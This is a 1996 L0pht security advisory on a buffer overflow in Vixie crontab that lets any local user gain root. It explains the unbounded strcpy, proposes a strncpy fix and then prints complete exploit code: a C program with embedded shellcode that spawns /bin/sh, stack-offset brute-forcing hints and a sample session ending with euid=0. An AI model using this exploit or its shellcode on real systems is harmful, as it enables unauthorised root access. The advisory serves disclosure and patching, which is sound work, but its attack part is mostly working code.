L0pht Security Advisory Advisory released Dec 17 1996 Application: crontab (Vixie crontab) Severity: any local user can gain root priveledges. Author: mudge@l0pht.com Scenario: Due to a problem with the code in crontab, a buffer overflow exists that allows a user to overwrite the information in a saved stack frame. When the function returns, the saved frame is popped off of the stack and user supplied code can be executed. Example: > id uid=621 (mudge) gid=200(users) > ./cronny -92 Using offset (0xefbfdbc8) # id uid=621 (mudge) euid=0(root) gid=200(users) Description: When crontab, a suid root program, is run with just a filename as it's only argument the argument is copied into the variable Filename[MAX_FNAME]. Since this copy is done via strcpy, no bounds checking is done on the length of the string being handed in. The code snippit from crontab.c is as follows: static char Filename[MAX_FNAME]; ... [ from parse_args(argc, argc) ] if (argv[optind] != NULL) { Option = opt_replace; (void) strcpy (Filename, argv[optind]); } By placing a sufficently sized string in argv[1] it is possible to overwrite the saved frame on the stack and, upon return from the routine execute machine codes of the users contruction. Solution: One fix to the above problem is to replace the strcpy() with strncpy(). if (argv[optind] != NULL) { Option = opt_replace; (void) strncpy(Filename, argv[optind], sizeof(Filename)); } However, this only takes care of _one_ of the exploitable buffer overflows in crontab. Finding and fixing the others is left as an excercise to the readers ;-) [yes, Theo - I know you have already fixed them in OpenBSD!] Gratuitous plug: OpenBSD has already fixed these problems in crontab around the date of the exploit code below, if not a ways before. Talk about an OS with pro-active security coders! Exploit code: /******************************************************************** * crontab buffer overflow code - mudge@l0pht.com * * 10/12/96 * * * * So I was sitting here thinking... I know, it's a dangerous thing * * and you ever notice that hackers seem to have a surplus of time * * on their hands? Well, I don't but hopefully if I keep coming out * * with things like this it will help to perpetuate the myth. * * * * There is a really cool buffer overflow in crond that bitwrior * * spotted. So I figured that since the same person, Paul Vixie, * * wrote crontab too that the same type of errors would probably be * * there. Sure enough! * * * * Ya gotta love command line overflows... just yank the code from * * any existing one and brute on the new program. This is almost * * verbatim from my modstat overflow. * * * * try with offsets of -92, -348, 164, 296, 351 with the way this * * is currently setup. If these fail, brute force it . * *******************************************************************/ #include #include long get_esp(void) { __asm__("movl %esp, %eax\n"); } main(int argc, char **argv) { int i, j, offset; char *bar, *foo; unsigned long *esp_plus = NULL; char mach_codes[] = "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; if (argc == 2) offset = atoi(argv[1]); bar = malloc(4096); if (!bar){ fprintf(stderr, "failed to malloc memory\n"); exit(1); } foo = bar; /* copy of original ptr */ esp_plus = (long *)bar; for(i=0; i < 1024 ; i++) *(esp_plus++) = (get_esp() + offset); printf("Using offset (0x%x)\n", (get_esp() + offset)); bar = (char *)esp_plus; for(j=0; j< strlen(mach_codes); j++) *(bar++) = mach_codes[j]; *bar = 0; execl("/usr/bin/crontab", "crontab", foo, NULL); } mudge@l0pht.com --- http://www.l0pht.com/advisories.html ---